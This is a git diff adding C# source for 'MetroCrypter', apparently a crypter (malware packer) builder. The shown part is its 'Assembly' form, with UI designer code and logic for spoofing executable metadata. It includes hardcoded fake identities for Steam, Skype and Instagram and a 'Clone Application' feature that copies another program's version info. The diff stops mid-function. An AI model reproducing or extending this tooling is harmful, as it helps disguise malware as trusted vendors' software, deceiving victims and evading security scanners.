System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // company + // + // + // + // + this.company.CustomButton.Image = null; + this.company.CustomButton.Location = new System.Drawing.Point(234, 1); + this.company.CustomButton.Name = ""; + this.company.CustomButton.Size = new System.Drawing.Size(21, 21); + this.company.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.company.CustomButton.TabIndex = 1; + this.company.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.company.CustomButton.UseSelectable = true; + this.company.CustomButton.Visible = false; + this.company.Lines = new string[0]; + this.company.Location = new System.Drawing.Point(20, 120); + this.company.MaxLength = 32767; + this.company.Name = "company"; + this.company.PasswordChar = '\0'; + this.company.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.company.SelectedText = ""; + this.company.SelectionLength = 0; + this.company.SelectionStart = 0; + this.company.ShortcutsEnabled = true; + this.company.Size = new System.Drawing.Size(256, 23); + this.company.TabIndex = 27; + this.company.UseSelectable = true; + this.company.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.company.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // version + // + // + // + // + this.version.CustomButton.Image = null; + this.version.CustomButton.Location = new System.Drawing.Point(234, 1); + this.version.CustomButton.Name = ""; + this.version.CustomButton.Size = new System.Drawing.Size(21, 21); + this.version.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.version.CustomButton.TabIndex = 1; + this.version.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.version.CustomButton.UseSelectable = true; + this.version.CustomButton.Visible = false; + this.version.Lines = new string[0]; + this.version.Location = new System.Drawing.Point(20, 161); + this.version.MaxLength = 32767; + this.version.Name = "version"; + this.version.PasswordChar = '\0'; + this.version.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.version.SelectedText = ""; + this.version.SelectionLength = 0; + this.version.SelectionStart = 0; + this.version.ShortcutsEnabled = true; + this.version.Size = new System.Drawing.Size(256, 23); + this.version.TabIndex = 28; + this.version.UseSelectable = true; + this.version.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.version.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // copyright + // + // + // + // + this.copyright.CustomButton.Image = null; + this.copyright.CustomButton.Location = new System.Drawing.Point(234, 1); + this.copyright.CustomButton.Name = ""; + this.copyright.CustomButton.Size = new System.Drawing.Size(21, 21); + this.copyright.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.copyright.CustomButton.TabIndex = 1; + this.copyright.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.copyright.CustomButton.UseSelectable = true; + this.copyright.CustomButton.Visible = false; + this.copyright.Lines = new string[0]; + this.copyright.Location = new System.Drawing.Point(19, 281); + this.copyright.MaxLength = 32767; + this.copyright.Name = "copyright"; + this.copyright.PasswordChar = '\0'; + this.copyright.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.copyright.SelectedText = ""; + this.copyright.SelectionLength = 0; + this.copyright.SelectionStart = 0; + this.copyright.ShortcutsEnabled = true; + this.copyright.Size = new System.Drawing.Size(256, 23); + this.copyright.TabIndex = 31; + this.copyright.UseSelectable = true; + this.copyright.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.copyright.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // trademark + // + // + // + // + this.trademark.CustomButton.Image = null; + this.trademark.CustomButton.Location = new System.Drawing.Point(234, 1); + this.trademark.CustomButton.Name = ""; + this.trademark.CustomButton.Size = new System.Drawing.Size(21, 21); + this.trademark.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.trademark.CustomButton.TabIndex = 1; + this.trademark.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.trademark.CustomButton.UseSelectable = true; + this.trademark.CustomButton.Visible = false; + this.trademark.Lines = new string[0]; + this.trademark.Location = new System.Drawing.Point(19, 241); + this.trademark.MaxLength = 32767; + this.trademark.Name = "trademark"; + this.trademark.PasswordChar = '\0'; + this.trademark.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.trademark.SelectedText = ""; + this.trademark.SelectionLength = 0; + this.trademark.SelectionStart = 0; + this.trademark.ShortcutsEnabled = true; + this.trademark.Size = new System.Drawing.Size(256, 23); + this.trademark.TabIndex = 30; + this.trademark.UseSelectable = true; + this.trademark.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.trademark.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // product + // + // + // + // + this.product.CustomButton.Image = null; + this.product.CustomButton.Location = new System.Drawing.Point(234, 1); + this.product.CustomButton.Name = ""; + this.product.CustomButton.Size = new System.Drawing.Size(21, 21); + this.product.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.product.CustomButton.TabIndex = 1; + this.product.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.product.CustomButton.UseSelectable = true; + this.product.CustomButton.Visible = false; + this.product.Lines = new string[0]; + this.product.Location = new System.Drawing.Point(19, 201); + this.product.MaxLength = 32767; + this.product.Name = "product"; + this.product.PasswordChar = '\0'; + this.product.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.product.SelectedText = ""; + this.product.SelectionLength = 0; + this.product.SelectionStart = 0; + this.product.ShortcutsEnabled = true; + this.product.Size = new System.Drawing.Size(256, 23); + this.product.TabIndex = 29; + this.product.UseSelectable = true; + this.product.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.product.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // button2 + // + this.button2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(85)))), ((int)(((byte)(94)))), ((int)(((byte)(102))))); + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.button2.ForeColor = System.Drawing.Color.White; + this.button2.Location = new System.Drawing.Point(19, 358); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(59, 23); + this.button2.TabIndex = 37; + this.button2.Text = "Apply"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new System.EventHandler(this.button2_Click); + // + // button3 + // + this.button3.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(85)))), ((int)(((byte)(94)))), ((int)(((byte)(102))))); + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button3.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.button3.ForeColor = System.Drawing.Color.White; + this.button3.Location = new System.Drawing.Point(102, 358); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(98, 23); + this.button3.TabIndex = 38; + this.button3.Text = "Random"; + this.metroToolTip1.SetToolTip(this.button3, "Randomize Your Settings"); + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new System.EventHandler(this.button3_Click); + // + // button4 + // + this.button4.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(33)))), ((int)(((byte)(35)))), ((int)(((byte)(38))))); + this.button4.FlatAppearance.BorderSize = 0; + this.button4.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.button4.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.button4.ForeColor = System.Drawing.Color.White; + this.button4.Location = new System.Drawing.Point(217, 358); + this.button4.MaximumSize = new System.Drawing.Size(59, 23); + this.button4.Name = "button4"; + this.button4.Size = new System.Drawing.Size(59, 23); + this.button4.TabIndex = 39; + this.metroToolTip1.SetToolTip(this.button4, "Clone Application"); + this.button4.UseVisualStyleBackColor = false; + this.button4.Click += new System.EventHandler(this.button4_Click); + // + // metroToolTip1 + // + this.metroToolTip1.Style = MetroFramework.MetroColorStyle.Blue; + this.metroToolTip1.StyleManager = null; + this.metroToolTip1.Theme = MetroFramework.MetroThemeStyle.Light; + // + // fversion + // + // + // + // + this.fversion.CustomButton.Image = null; + this.fversion.CustomButton.Location = new System.Drawing.Point(-20, 2); + this.fversion.CustomButton.Name = ""; + this.fversion.CustomButton.Size = new System.Drawing.Size(17, 17); + this.fversion.CustomButton.Style = MetroFramework.MetroColorStyle.Blue; + this.fversion.CustomButton.TabIndex = 1; + this.fversion.CustomButton.Theme = MetroFramework.MetroThemeStyle.Light; + this.fversion.CustomButton.UseSelectable = true; + this.fversion.CustomButton.Visible = false; + this.fversion.Lines = new string[0]; + this.fversion.Location = new System.Drawing.Point(0, 0); + this.fversion.MaxLength = 32767; + this.fversion.Name = "fversion"; + this.fversion.PasswordChar = '\0'; + this.fversion.ScrollBars = System.Windows.Forms.ScrollBars.None; + this.fversion.SelectedText = ""; + this.fversion.SelectionLength = 0; + this.fversion.SelectionStart = 0; + this.fversion.ShortcutsEnabled = true; + this.fversion.Size = new System.Drawing.Size(0, 22); + this.fversion.TabIndex = 0; + this.fversion.UseSelectable = true; + this.fversion.WaterMarkColor = System.Drawing.Color.FromArgb(((int)(((byte)(109)))), ((int)(((byte)(109)))), ((int)(((byte)(109))))); + this.fversion.WaterMarkFont = new System.Drawing.Font("Segoe UI", 12F, System.Drawing.FontStyle.Italic, System.Drawing.GraphicsUnit.Pixel); + // + // Assembly + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(33)))), ((int)(((byte)(35)))), ((int)(((byte)(38))))); + this.ClientSize = new System.Drawing.Size(295, 397); + this.Controls.Add(this.fversion); + this.Controls.Add(this.button4); + this.Controls.Add(this.button3); + this.Controls.Add(this.button2); + this.Controls.Add(this.copyright); + this.Controls.Add(this.trademark); + this.Controls.Add(this.product); + this.Controls.Add(this.version); + this.Controls.Add(this.company); + this.Controls.Add(this.desc); + this.Controls.Add(this.name); + this.Controls.Add(this.button1); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + this.Name = "Assembly"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Assembly"; + this.Load += new System.EventHandler(this.Assembly_Load_1); + this.ResumeLayout(false); + + } + + #endregion + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.cs new file mode 100644 index 0000000..c68624e --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.cs @@ -0,0 +1,534 @@ +using MetroFramework.Components; +using MetroFramework.Controls; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.Resources; +using System.Windows.Forms; + +namespace MetroCrypter +{ + public class Assembly : Form + { + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private string[] namer2 = new string[] { "Steam Client Bootstrapper", "3.65.13.80", "Steam Client Bootstrapper", "01.00.00.01", "Copyright (C) 2010 Valve Corporation", "", "", "Steam" }; + + private string[] namer = new string[] { "Skype", "3.65.13.44", "Skype S.a.r.l", "01.81", "Copyright (C) 2016 Skype", "Skype S.A.R.L", "Skype", "Skype" }; + + private string[] namer1 = new string[] { "Instagram", "3.2", "Instagram Client", "01.21", "Copyright (C) 2016 Instagram / Facebook", "Instagram", "Instagram", "Instagram" }; + + private string[] namers = new string[] { "namer", "namer1", "namer2" }; + + private IContainer components = null; + + private Button button1; + + private MetroTextBox name; + + private MetroTextBox desc; + + private MetroTextBox company; + + private MetroTextBox version; + + private MetroTextBox copyright; + + private MetroTextBox trademark; + + private MetroTextBox product; + + private Button button2; + + private Button button3; + + private Button button4; + + private MetroToolTip metroToolTip1; + + private MetroTextBox fversion; + + public Assembly() + { + this.InitializeComponent(); + this.fversion.Text = Form1.CID.fversion; + this.name.Text = Form1.CID.title; + this.company.Text = Form1.CID.company; + this.product.Text = Form1.CID.product; + this.copyright.Text = Form1.CID.copyright; + this.trademark.Text = Form1.CID.trademark; + this.version.Text = Form1.CID.version; + this.desc.Text = Form1.CID.description; + } + + private void Assembly_Load(object sender, EventArgs e) + { + } + + private void button1_Click(object sender, EventArgs e) + { + base.Close(); + } + + private void button2_Click(object sender, EventArgs e) + { + Form1.CID.title = this.name.Text; + Form1.CID.company = this.company.Text; + Form1.CID.product = this.product.Text; + Form1.CID.copyright = this.copyright.Text; + Form1.CID.trademark = this.trademark.Text; + Form1.CID.version = this.version.Text; + Form1.CID.description = this.desc.Text; + Form1.CID.fversion = this.fversion.Text; + base.Close(); + if (string.IsNullOrEmpty(Form1.CID.title)) + { + MessageBox.Show("Pleaes enter the assembly"); + } + } + + private void button3_Click(object sender, EventArgs e) + { + string str = this.namers[int.Parse(this.RandomNumbersp(1))]; + if (str == "namer") + { + this.desc.Text = this.namer[0]; + this.fversion.Text = this.namer[1]; + this.product.Text = this.namer[2]; + this.version.Text = this.namer[3]; + this.copyright.Text = this.namer[4]; + this.company.Text = this.namer[5]; + this.trademark.Text = this.namer[6]; + this.name.Text = this.namer[7]; + } + else if (str == "namer1") + { + this.desc.Text = this.namer1[0]; + this.fversion.Text = this.namer1[1]; + this.product.Text = this.namer1[2]; + this.version.Text = this.namer1[3]; + this.copyright.Text = this.namer1[4]; + this.company.Text = this.namer1[5]; + this.trademark.Text = this.namer1[6]; + this.name.Text = this.namer1[7]; + } + else if (str == "namer2") + { + this.desc.Text = this.namer2[0]; + this.fversion.Text = this.namer2[1]; + this.product.Text = this.namer2[2]; + this.version.Text = this.namer2[3]; + this.copyright.Text = this.namer2[4]; + this.company.Text = this.namer2[5]; + this.trademark.Text = this.namer2[6]; + this.name.Text = this.namer2[7]; + } + } + + private void button4_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Filter = "Exe Cute Ables|*.exe"; + if (openFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + string fileName = openFileDialog.FileName; + if (openFileDialog.FileName.Contains(".exe")) + { + FileVersionInfo versionInfo = FileVersionInfo.GetVersionInfo(openFileDialog.FileName); + this.version.Text = versionInfo.ProductVersion; + this.fversion.Text = versionInfo.FileVersion; + this.company.Text = versionInfo.CompanyName; + this.desc.Text = versionInfo.FileDescription; + this.copyright.Text = versionInfo.LegalCopyright; + this.trademark.Text = versionInfo.LegalTrademarks; + this.product.Text = versionInfo.ProductName; + this.name.Text = versionInfo.InternalName; + } + else + { + MessageBox.Show("Please load a .exe file"); + } + } + } + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Assembly)); + this.button1 = new Button(); + this.name = new MetroTextBox(); + this.desc = new MetroTextBox(); + this.company = new MetroTextBox(); + this.version = new MetroTextBox(); + this.copyright = new MetroTextBox(); + this.trademark = new MetroTextBox(); + this.product = new MetroTextBox(); + this.button2 = new Button(); + this.button3 = new Button(); + this.button4 = new Button(); + this.metroToolTip1 = new MetroToolTip(); + this.fversion = new MetroTextBox(); + base.SuspendLayout(); + this.button1.BackColor = Color.FromArgb(33, 35, 38); + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(266, -4); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 42); + this.button1.TabIndex = 24; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.name.get_CustomButton().set_Image(null); + this.name.get_CustomButton().Location = new Point(234, 1); + this.name.get_CustomButton().Name = ""; + this.name.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.name.get_CustomButton().set_Style(4); + this.name.get_CustomButton().TabIndex = 1; + this.name.get_CustomButton().set_Theme(1); + this.name.get_CustomButton().set_UseSelectable(true); + this.name.get_CustomButton().Visible = false; + this.name.set_Lines(new string[0]); + this.name.Location = new Point(20, 37); + this.name.set_MaxLength(32767); + this.name.Name = "name"; + this.name.set_PasswordChar('\0'); + this.name.set_PromptText("Name"); + this.name.set_ScrollBars(ScrollBars.None); + this.name.set_SelectedText(""); + this.name.set_SelectionLength(0); + this.name.set_SelectionStart(0); + this.name.set_ShortcutsEnabled(true); + this.name.Size = new System.Drawing.Size(256, 23); + this.name.set_Style(3); + this.name.TabIndex = 25; + this.name.set_UseSelectable(true); + this.name.set_WaterMark("Name"); + this.name.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.name.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.desc.get_CustomButton().set_Image(null); + this.desc.get_CustomButton().Location = new Point(234, 1); + this.desc.get_CustomButton().Name = ""; + this.desc.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.desc.get_CustomButton().set_Style(4); + this.desc.get_CustomButton().TabIndex = 1; + this.desc.get_CustomButton().set_Theme(1); + this.desc.get_CustomButton().set_UseSelectable(true); + this.desc.get_CustomButton().Visible = false; + this.desc.set_Lines(new string[0]); + this.desc.Location = new Point(20, 77); + this.desc.set_MaxLength(32767); + this.desc.Name = "desc"; + this.desc.set_PasswordChar('\0'); + this.desc.set_PromptText("Description"); + this.desc.set_ScrollBars(ScrollBars.None); + this.desc.set_SelectedText(""); + this.desc.set_SelectionLength(0); + this.desc.set_SelectionStart(0); + this.desc.set_ShortcutsEnabled(true); + this.desc.Size = new System.Drawing.Size(256, 23); + this.desc.set_Style(3); + this.desc.TabIndex = 26; + this.desc.set_UseSelectable(true); + this.desc.set_WaterMark("Description"); + this.desc.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.desc.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.company.get_CustomButton().set_Image(null); + this.company.get_CustomButton().Location = new Point(234, 1); + this.company.get_CustomButton().Name = ""; + this.company.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.company.get_CustomButton().set_Style(4); + this.company.get_CustomButton().TabIndex = 1; + this.company.get_CustomButton().set_Theme(1); + this.company.get_CustomButton().set_UseSelectable(true); + this.company.get_CustomButton().Visible = false; + this.company.set_Lines(new string[0]); + this.company.Location = new Point(20, 120); + this.company.set_MaxLength(32767); + this.company.Name = "company"; + this.company.set_PasswordChar('\0'); + this.company.set_PromptText("Company"); + this.company.set_ScrollBars(ScrollBars.None); + this.company.set_SelectedText(""); + this.company.set_SelectionLength(0); + this.company.set_SelectionStart(0); + this.company.set_ShortcutsEnabled(true); + this.company.Size = new System.Drawing.Size(256, 23); + this.company.set_Style(3); + this.company.TabIndex = 27; + this.company.set_UseSelectable(true); + this.company.set_WaterMark("Company"); + this.company.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.company.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.version.get_CustomButton().set_Image(null); + this.version.get_CustomButton().Location = new Point(234, 1); + this.version.get_CustomButton().Name = ""; + this.version.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.version.get_CustomButton().set_Style(4); + this.version.get_CustomButton().TabIndex = 1; + this.version.get_CustomButton().set_Theme(1); + this.version.get_CustomButton().set_UseSelectable(true); + this.version.get_CustomButton().Visible = false; + this.version.set_Lines(new string[0]); + this.version.Location = new Point(20, 161); + this.version.set_MaxLength(32767); + this.version.Name = "version"; + this.version.set_PasswordChar('\0'); + this.version.set_PromptText("Version"); + this.version.set_ScrollBars(ScrollBars.None); + this.version.set_SelectedText(""); + this.version.set_SelectionLength(0); + this.version.set_SelectionStart(0); + this.version.set_ShortcutsEnabled(true); + this.version.Size = new System.Drawing.Size(256, 23); + this.version.set_Style(3); + this.version.TabIndex = 28; + this.version.set_UseSelectable(true); + this.version.set_WaterMark("Version"); + this.version.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.version.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.copyright.get_CustomButton().set_Image(null); + this.copyright.get_CustomButton().Location = new Point(234, 1); + this.copyright.get_CustomButton().Name = ""; + this.copyright.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.copyright.get_CustomButton().set_Style(4); + this.copyright.get_CustomButton().TabIndex = 1; + this.copyright.get_CustomButton().set_Theme(1); + this.copyright.get_CustomButton().set_UseSelectable(true); + this.copyright.get_CustomButton().Visible = false; + this.copyright.set_Lines(new string[0]); + this.copyright.Location = new Point(19, 281); + this.copyright.set_MaxLength(32767); + this.copyright.Name = "copyright"; + this.copyright.set_PasswordChar('\0'); + this.copyright.set_PromptText("Copyright"); + this.copyright.set_ScrollBars(ScrollBars.None); + this.copyright.set_SelectedText(""); + this.copyright.set_SelectionLength(0); + this.copyright.set_SelectionStart(0); + this.copyright.set_ShortcutsEnabled(true); + this.copyright.Size = new System.Drawing.Size(256, 23); + this.copyright.set_Style(3); + this.copyright.TabIndex = 31; + this.copyright.set_UseSelectable(true); + this.copyright.set_WaterMark("Copyright"); + this.copyright.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.copyright.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.trademark.get_CustomButton().set_Image(null); + this.trademark.get_CustomButton().Location = new Point(234, 1); + this.trademark.get_CustomButton().Name = ""; + this.trademark.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.trademark.get_CustomButton().set_Style(4); + this.trademark.get_CustomButton().TabIndex = 1; + this.trademark.get_CustomButton().set_Theme(1); + this.trademark.get_CustomButton().set_UseSelectable(true); + this.trademark.get_CustomButton().Visible = false; + this.trademark.set_Lines(new string[0]); + this.trademark.Location = new Point(19, 241); + this.trademark.set_MaxLength(32767); + this.trademark.Name = "trademark"; + this.trademark.set_PasswordChar('\0'); + this.trademark.set_PromptText("Trademark"); + this.trademark.set_ScrollBars(ScrollBars.None); + this.trademark.set_SelectedText(""); + this.trademark.set_SelectionLength(0); + this.trademark.set_SelectionStart(0); + this.trademark.set_ShortcutsEnabled(true); + this.trademark.Size = new System.Drawing.Size(256, 23); + this.trademark.set_Style(3); + this.trademark.TabIndex = 30; + this.trademark.set_UseSelectable(true); + this.trademark.set_WaterMark("Trademark"); + this.trademark.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.trademark.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.product.get_CustomButton().set_Image(null); + this.product.get_CustomButton().Location = new Point(234, 1); + this.product.get_CustomButton().Name = ""; + this.product.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.product.get_CustomButton().set_Style(4); + this.product.get_CustomButton().TabIndex = 1; + this.product.get_CustomButton().set_Theme(1); + this.product.get_CustomButton().set_UseSelectable(true); + this.product.get_CustomButton().Visible = false; + this.product.set_Lines(new string[0]); + this.product.Location = new Point(19, 201); + this.product.set_MaxLength(32767); + this.product.Name = "product"; + this.product.set_PasswordChar('\0'); + this.product.set_PromptText("Product"); + this.product.set_ScrollBars(ScrollBars.None); + this.product.set_SelectedText(""); + this.product.set_SelectionLength(0); + this.product.set_SelectionStart(0); + this.product.set_ShortcutsEnabled(true); + this.product.Size = new System.Drawing.Size(256, 23); + this.product.set_Style(3); + this.product.TabIndex = 29; + this.product.set_UseSelectable(true); + this.product.set_WaterMark("Product"); + this.product.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.product.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + this.button2.BackColor = Color.FromArgb(85, 94, 102); + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.button2.ForeColor = Color.White; + this.button2.Location = new Point(19, 358); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(59, 23); + this.button2.TabIndex = 37; + this.button2.Text = "Apply"; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click); + this.button3.BackColor = Color.FromArgb(85, 94, 102); + this.button3.FlatAppearance.BorderSize = 0; + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.button3.ForeColor = Color.White; + this.button3.Location = new Point(102, 358); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(98, 23); + this.button3.TabIndex = 38; + this.button3.Text = "Random"; + this.metroToolTip1.SetToolTip(this.button3, "Randomize Your Settings"); + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click); + this.button4.BackColor = Color.FromArgb(33, 35, 38); + this.button4.FlatAppearance.BorderSize = 0; + this.button4.FlatStyle = FlatStyle.Flat; + this.button4.Font = new System.Drawing.Font("Arial", 9.75f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.button4.ForeColor = Color.White; + this.button4.Image = (Image)componentResourceManager.GetObject("button4.Image"); + this.button4.Location = new Point(217, 358); + this.button4.MaximumSize = new System.Drawing.Size(59, 23); + this.button4.Name = "button4"; + this.button4.Size = new System.Drawing.Size(59, 23); + this.button4.TabIndex = 39; + this.metroToolTip1.SetToolTip(this.button4, "Clone Application"); + this.button4.UseVisualStyleBackColor = false; + this.button4.Click += new EventHandler(this.button4_Click); + this.metroToolTip1.set_Style(4); + this.metroToolTip1.set_StyleManager(null); + this.metroToolTip1.set_Theme(1); + this.fversion.get_CustomButton().set_Image(null); + this.fversion.get_CustomButton().Location = new Point(234, 1); + this.fversion.get_CustomButton().Name = ""; + this.fversion.get_CustomButton().Size = new System.Drawing.Size(21, 21); + this.fversion.get_CustomButton().set_Style(4); + this.fversion.get_CustomButton().TabIndex = 1; + this.fversion.get_CustomButton().set_Theme(1); + this.fversion.get_CustomButton().set_UseSelectable(true); + this.fversion.get_CustomButton().Visible = false; + this.fversion.set_Lines(new string[0]); + this.fversion.Location = new Point(19, 319); + this.fversion.set_MaxLength(32767); + this.fversion.Name = "fversion"; + this.fversion.set_PasswordChar('\0'); + this.fversion.set_PromptText("File Version"); + this.fversion.set_ScrollBars(ScrollBars.None); + this.fversion.set_SelectedText(""); + this.fversion.set_SelectionLength(0); + this.fversion.set_SelectionStart(0); + this.fversion.set_ShortcutsEnabled(true); + this.fversion.Size = new System.Drawing.Size(256, 23); + this.fversion.set_Style(3); + this.fversion.TabIndex = 40; + this.fversion.set_UseSelectable(true); + this.fversion.set_WaterMark("File Version"); + this.fversion.set_WaterMarkColor(Color.FromArgb(109, 109, 109)); + this.fversion.set_WaterMarkFont(new System.Drawing.Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel)); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(33, 35, 38); + base.ClientSize = new System.Drawing.Size(295, 397); + base.Controls.Add(this.fversion); + base.Controls.Add(this.button4); + base.Controls.Add(this.button3); + base.Controls.Add(this.button2); + base.Controls.Add(this.copyright); + base.Controls.Add(this.trademark); + base.Controls.Add(this.product); + base.Controls.Add(this.version); + base.Controls.Add(this.company); + base.Controls.Add(this.desc); + base.Controls.Add(this.name); + base.Controls.Add(this.button1); + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + base.Name = "Assembly"; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = "Assembly"; + base.Load += new EventHandler(this.Assembly_Load); + base.ResumeLayout(false); + } + + private string RandomNumber(int _length) + { + string str = "0123456789"; + string str1 = ""; + Random random = new Random(); + for (int i = 0; i < _length; i++) + { + char chr = str[random.Next(0, str.Length)]; + str1 = string.Concat(str1, chr.ToString()); + } + return str1; + } + + private string RandomNumbersp(int _length) + { + string str = "012"; + string str1 = ""; + Random random = new Random(); + for (int i = 0; i < _length; i++) + { + char chr = str[random.Next(0, str.Length)]; + str1 = string.Concat(str1, chr.ToString()); + } + return str1; + } + + private string RandomString(int length) + { + string str = 